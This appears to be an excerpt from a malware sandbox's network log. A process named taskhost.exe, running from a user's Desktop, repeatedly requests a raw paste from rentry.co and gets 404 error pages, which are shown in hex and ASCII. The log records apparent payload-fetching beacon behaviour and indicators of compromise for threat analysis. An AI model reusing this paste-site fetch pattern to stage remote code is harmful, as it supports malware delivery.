2024-12-13 10:49:12 UTC	1369	IN	Data Raw: 65 73 20 7c 7c 20 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 64 61 72 6b 2d 6d 6f 64 65 22 29 20 3d 3d 20 22 74 72 75 65 22 29 29 3b 3c 2f 73 63 72 69 70 74 3e 2d 2d 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 63 6f 6e 73 74 20 73 63 72 69 70 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 20 63 6f 6e 73 74 20 68 6e 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 20 3d 3d 3d 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 26 26 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 7c 7c 20 27 72 65 6e 74 72 79 2e 63 6f 27 3b 20 73 63 72 69 70 74 2e 64 65 66 65 72 20 3d 20 74 72 75 65 3b 20 73 63 72 69 70 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 27 64 61 Data Ascii: es \|\| localStorage.getItem("dark-mode") == "true"));</script>--> <script>const script = document.createElement("script"); const hn = window.location.hostname === 'rentry.org' && 'rentry.org' \|\| 'rentry.co'; script.defer = true; script.setAttribute('da
2024-12-13 10:49:12 UTC	1220	IN	Data Raw: 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 0a 20 20 20 Data Ascii: ></span></div> </div> </div> </div> <script src="/static/js/jquery.min.js?vsson=28"></script> <script src="/static/js/bootstrap.min.js?vsson=28"></script>
2024-12-13 10:49:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49800	104.26.2.16	443	6504	C:\Users\user\Desktop\taskhost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 10:49:16 UTC	71	OUT	GET /ue6sxoup/raw HTTP/1.1 Host: rentry.co Connection: Keep-Alive
2024-12-13 10:49:17 UTC	865	IN	HTTP/1.1 404 Not Found Date: Fri, 13 Dec 2024 10:49:17 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Origin x-xss-protection: 1; mode=block strict-transport-security: max-age=31536000; includeSubDomains CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HMG3ssmp6qYTSfPiMSHGdthhNruBVPNsVGcx7b5P9OHr%2FYiVvmpSv7DmFzXHC2CF60VhqKZwtPovKc2s2qSJUg7KQE2zJT7nrdNOQccZKHTFG17pUHlxVlNkkA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f1562f75c00c3f3-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1526&min_rtt=1521&rtt_var=580&sent=7&recv=9&lost=0&retrans=0&sent_bytes=2816&recv_bytes=685&delivery_rate=1869398&cwnd=190&unsent_bytes=0&cid=71ce6182055a44e3&ts=813&x=0"
2024-12-13 10:49:17 UTC	504	IN	Data Raw: 31 31 36 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 0a 3c 68 74 6d 6c 3e 0a 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 61 72 6b 64 6f 77 6e 20 70 61 73 74 65 20 73 65 72 76 69 63 65 20 77 69 74 68 20 70 72 65 76 69 65 77 2c 20 63 75 73 74 6f 6d 20 75 72 6c 73 20 61 6e 64 20 65 64 69 74 69 6e 67 2e 20 46 61 73 74 2c 20 73 69 6d 70 6c 65 20 61 6e 64 20 66 72 65 65 2e 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e Data Ascii: 1164<!DOCTYPE html><html><head> <meta charset="utf-8"> <title>Error</title> <meta name="description" content="Markdown paste service with preview, custom urls and editing. Fast, simple and free."> <meta name="keywords" conten
2024-12-13 10:49:17 UTC	1369	IN	Data Raw: 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 65 6e 74 72 79 2e 63 6f 20 2d 20 4d 61 72 6b 64 6f 77 6e 20 50 61 73 74 65 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 73 69 74 65 22 20 63 6f 6e 74 65 6e 74 3d 22 40 72 65 6e 74 72 79 5f 63 6f 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e 63 6f 2f 73 74 61 74 69 63 2f 69 63 6f 6e 73 2f 35 31 32 2e 70 6e 67 22 20 2f 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e 63 6f Data Ascii: a name="twitter:title" content="Rentry.co - Markdown Paste" /> <meta name="twitter:site" content="@rentry_co" /> <meta name="twitter:image" content="https://rentry.co/static/icons/512.png" /> <meta property="og:url" content="https://rentry.co
2024-12-13 10:49:17 UTC	1369	IN	Data Raw: 20 7c 7c 20 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 64 61 72 6b 2d 6d 6f 64 65 22 29 20 3d 3d 20 22 74 72 75 65 22 29 29 3b 3c 2f 73 63 72 69 70 74 3e 2d 2d 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 63 6f 6e 73 74 20 73 63 72 69 70 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 20 63 6f 6e 73 74 20 68 6e 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 20 3d 3d 3d 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 26 26 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 7c 7c 20 27 72 65 6e 74 72 79 2e 63 6f 27 3b 20 73 63 72 69 70 74 2e 64 65 66 65 72 20 3d 20 74 72 75 65 3b 20 73 63 72 69 70 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 27 64 61 74 61 Data Ascii: \|\| localStorage.getItem("dark-mode") == "true"));</script>--> <script>const script = document.createElement("script"); const hn = window.location.hostname === 'rentry.org' && 'rentry.org' \|\| 'rentry.co'; script.defer = true; script.setAttribute('data
2024-12-13 10:49:17 UTC	1218	IN	Data Raw: 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c Data Ascii: /span></div> </div> </div> </div> <script src="/static/js/jquery.min.js?vsson=28"></script> <script src="/static/js/bootstrap.min.js?vsson=28"></script> <
2024-12-13 10:49:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49811	104.26.2.16	443	6504	C:\Users\user\Desktop\taskhost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 10:49:21 UTC	71	OUT	GET /ue6sxoup/raw HTTP/1.1 Host: rentry.co Connection: Keep-Alive
2024-12-13 10:49:22 UTC	873	IN	HTTP/1.1 404 Not Found Date: Fri, 13 Dec 2024 10:49:22 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Origin x-xss-protection: 1; mode=block strict-transport-security: max-age=31536000; includeSubDomains CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NUzhzd%2FP4pDZoXakiJ6cZfmuf3jSbFkHrC%2FgxvkAipp3s7vWgXlqykUGgj7xn86yUgFqdKgLpT%2BNT9jqSc%2BG1VcPl0gODuu2N%2FmqBdtkj3dpk0Y0okX3b7mitQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f156316cf738cb4-EWR server-timing: cfL4;desc="?proto=TCP&rtt=2012&min_rtt=2007&rtt_var=762&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2817&recv_bytes=685&delivery_rate=1426477&cwnd=189&unsent_bytes=0&cid=9bf5b7b002d032e7&ts=823&x=0"
2024-12-13 10:49:22 UTC	496	IN	Data Raw: 31 31 36 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 0a 3c 68 74 6d 6c 3e 0a 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 61 72 6b 64 6f 77 6e 20 70 61 73 74 65 20 73 65 72 76 69 63 65 20 77 69 74 68 20 70 72 65 76 69 65 77 2c 20 63 75 73 74 6f 6d 20 75 72 6c 73 20 61 6e 64 20 65 64 69 74 69 6e 67 2e 20 46 61 73 74 2c 20 73 69 6d 70 6c 65 20 61 6e 64 20 66 72 65 65 2e 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e Data Ascii: 1164<!DOCTYPE html><html><head> <meta charset="utf-8"> <title>Error</title> <meta name="description" content="Markdown paste service with preview, custom urls and editing. Fast, simple and free."> <meta name="keywords" conten
2024-12-13 10:49:22 UTC	1369	IN	Data Raw: 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 65 6e 74 72 79 2e 63 6f 20 2d 20 4d 61 72 6b 64 6f 77 6e 20 50 61 73 74 65 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 73 69 74 65 22 20 63 6f 6e 74 65 6e 74 3d 22 40 72 65 6e 74 72 79 5f 63 6f 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e 63 6f 2f 73 74 61 74 69 63 2f 69 63 6f 6e 73 2f 35 31 32 2e 70 6e 67 22 20 2f 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 Data Ascii: <meta name="twitter:title" content="Rentry.co - Markdown Paste" /> <meta name="twitter:site" content="@rentry_co" /> <meta name="twitter:image" content="https://rentry.co/static/icons/512.png" /> <meta property="og:url" content="https://r
2024-12-13 10:49:22 UTC	1369	IN	Data Raw: 2e 6d 61 74 63 68 65 73 20 7c 7c 20 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 64 61 72 6b 2d 6d 6f 64 65 22 29 20 3d 3d 20 22 74 72 75 65 22 29 29 3b 3c 2f 73 63 72 69 70 74 3e 2d 2d 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 63 6f 6e 73 74 20 73 63 72 69 70 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 20 63 6f 6e 73 74 20 68 6e 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 20 3d 3d 3d 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 26 26 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 7c 7c 20 27 72 65 6e 74 72 79 2e 63 6f 27 3b 20 73 63 72 69 70 74 2e 64 65 66 65 72 20 3d 20 74 72 75 65 3b 20 73 63 72 69 70 74 2e 73 65 74 41 74 74 72 69 62 75 Data Ascii: .matches \|\| localStorage.getItem("dark-mode") == "true"));</script>--> <script>const script = document.createElement("script"); const hn = window.location.hostname === 'rentry.org' && 'rentry.org' \|\| 'rentry.co'; script.defer = true; script.setAttribu
2024-12-13 10:49:22 UTC	1226	IN	Data Raw: 20 6d 6f 64 65 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 Data Ascii: mode"></span></div> </div> </div> </div> <script src="/static/js/jquery.min.js?vsson=28"></script> <script src="/static/js/bootstrap.min.js?vsson=28"></script>
2024-12-13 10:49:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49823	104.26.2.16	443	6504	C:\Users\user\Desktop\taskhost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 10:49:26 UTC	71	OUT	GET /ue6sxoup/raw HTTP/1.1 Host: rentry.co Connection: Keep-Alive
2024-12-13 10:49:27 UTC	871	IN	HTTP/1.1 404 Not Found Date: Fri, 13 Dec 2024 10:49:27 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Origin x-xss-protection: 1; mode=block strict-transport-security: max-age=31536000; includeSubDomains CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1wKiZChZkdQPNl4JotC2VIEVHZChdO3yu%2BWcrHMhc14bx8KLileVosDtbTPDVU9aPVxlI4bK8J%2BPBvyqcHLWfuFRpbibjBT%2B1c%2Fz7qq6aOLBogi3rPmliWPLSQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f1563364ddb41d2-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1613&min_rtt=1612&rtt_var=606&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2817&recv_bytes=685&delivery_rate=1801357&cwnd=251&unsent_bytes=0&cid=8269f3d10fcaaf1b&ts=797&x=0"
2024-12-13 10:49:27 UTC	498	IN	Data Raw: 31 31 36 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 0a 3c 68 74 6d 6c 3e 0a 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 61 72 6b 64 6f 77 6e 20 70 61 73 74 65 20 73 65 72 76 69 63 65 20 77 69 74 68 20 70 72 65 76 69 65 77 2c 20 63 75 73 74 6f 6d 20 75 72 6c 73 20 61 6e 64 20 65 64 69 74 69 6e 67 2e 20 46 61 73 74 2c 20 73 69 6d 70 6c 65 20 61 6e 64 20 66 72 65 65 2e 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e Data Ascii: 1164<!DOCTYPE html><html><head> <meta charset="utf-8"> <title>Error</title> <meta name="description" content="Markdown paste service with preview, custom urls and editing. Fast, simple and free."> <meta name="keywords" conten
2024-12-13 10:49:27 UTC	1369	IN	Data Raw: 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 65 6e 74 72 79 2e 63 6f 20 2d 20 4d 61 72 6b 64 6f 77 6e 20 50 61 73 74 65 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 73 69 74 65 22 20 63 6f 6e 74 65 6e 74 3d 22 40 72 65 6e 74 72 79 5f 63 6f 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e 63 6f 2f 73 74 61 74 69 63 2f 69 63 6f 6e 73 2f 35 31 32 2e 70 6e 67 22 20 2f 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e Data Ascii: <meta name="twitter:title" content="Rentry.co - Markdown Paste" /> <meta name="twitter:site" content="@rentry_co" /> <meta name="twitter:image" content="https://rentry.co/static/icons/512.png" /> <meta property="og:url" content="https://ren
2024-12-13 10:49:27 UTC	1369	IN	Data Raw: 61 74 63 68 65 73 20 7c 7c 20 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 64 61 72 6b 2d 6d 6f 64 65 22 29 20 3d 3d 20 22 74 72 75 65 22 29 29 3b 3c 2f 73 63 72 69 70 74 3e 2d 2d 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 63 6f 6e 73 74 20 73 63 72 69 70 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 20 63 6f 6e 73 74 20 68 6e 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 20 3d 3d 3d 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 26 26 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 7c 7c 20 27 72 65 6e 74 72 79 2e 63 6f 27 3b 20 73 63 72 69 70 74 2e 64 65 66 65 72 20 3d 20 74 72 75 65 3b 20 73 63 72 69 70 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 Data Ascii: atches \|\| localStorage.getItem("dark-mode") == "true"));</script>--> <script>const script = document.createElement("script"); const hn = window.location.hostname === 'rentry.org' && 'rentry.org' \|\| 'rentry.co'; script.defer = true; script.setAttribute
2024-12-13 10:49:27 UTC	1224	IN	Data Raw: 6f 64 65 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: ode"></span></div> </div> </div> </div> <script src="/static/js/jquery.min.js?vsson=28"></script> <script src="/static/js/bootstrap.min.js?vsson=28"></script>
2024-12-13 10:49:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49839	104.26.2.16	443	6504	C:\Users\user\Desktop\taskhost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 10:49:31 UTC	71	OUT	GET /ue6sxoup/raw HTTP/1.1 Host: rentry.co Connection: Keep-Alive
2024-12-13 10:49:32 UTC	874	IN	HTTP/1.1 404 Not Found Date: Fri, 13 Dec 2024 10:49:32 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Origin x-xss-protection: 1; mode=block strict-transport-security: max-age=31536000; includeSubDomains CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vjMi5qQhrnRArk4%2Bjapr95QF3tFFeNTTNJ3rQ4SuDhFR77xBl7%2B7DxZeHGZZicQCBVLkG%2FJ9LFLs%2FU5Sty0q%2B079RZqMIXW5%2FJQRtiY5gg8auxEg7vTlVCaNHA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f156355ab91c331-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1664&min_rtt=1649&rtt_var=629&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2817&recv_bytes=685&delivery_rate=1770770&cwnd=79&unsent_bytes=0&cid=3b8c0c32577c3098&ts=806&x=0"
2024-12-13 10:49:32 UTC	495	IN	Data Raw: 31 31 36 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 0a 3c 68 74 6d 6c 3e 0a 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 61 72 6b 64 6f 77 6e 20 70 61 73 74 65 20 73 65 72 76 69 63 65 20 77 69 74 68 20 70 72 65 76 69 65 77 2c 20 63 75 73 74 6f 6d 20 75 72 6c 73 20 61 6e 64 20 65 64 69 74 69 6e 67 2e 20 46 61 73 74 2c 20 73 69 6d 70 6c 65 20 61 6e 64 20 66 72 65 65 2e 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e Data Ascii: 1164<!DOCTYPE html><html><head> <meta charset="utf-8"> <title>Error</title> <meta name="description" content="Markdown paste service with preview, custom urls and editing. Fast, simple and free."> <meta name="keywords" conten
2024-12-13 10:49:32 UTC	1369	IN	Data Raw: 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 65 6e 74 72 79 2e 63 6f 20 2d 20 4d 61 72 6b 64 6f 77 6e 20 50 61 73 74 65 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 73 69 74 65 22 20 63 6f 6e 74 65 6e 74 3d 22 40 72 65 6e 74 72 79 5f 63 6f 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e 63 6f 2f 73 74 61 74 69 63 2f 69 63 6f 6e 73 2f 35 31 32 2e 70 6e 67 22 20 2f 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f Data Ascii: <meta name="twitter:title" content="Rentry.co - Markdown Paste" /> <meta name="twitter:site" content="@rentry_co" /> <meta name="twitter:image" content="https://rentry.co/static/icons/512.png" /> <meta property="og:url" content="https://
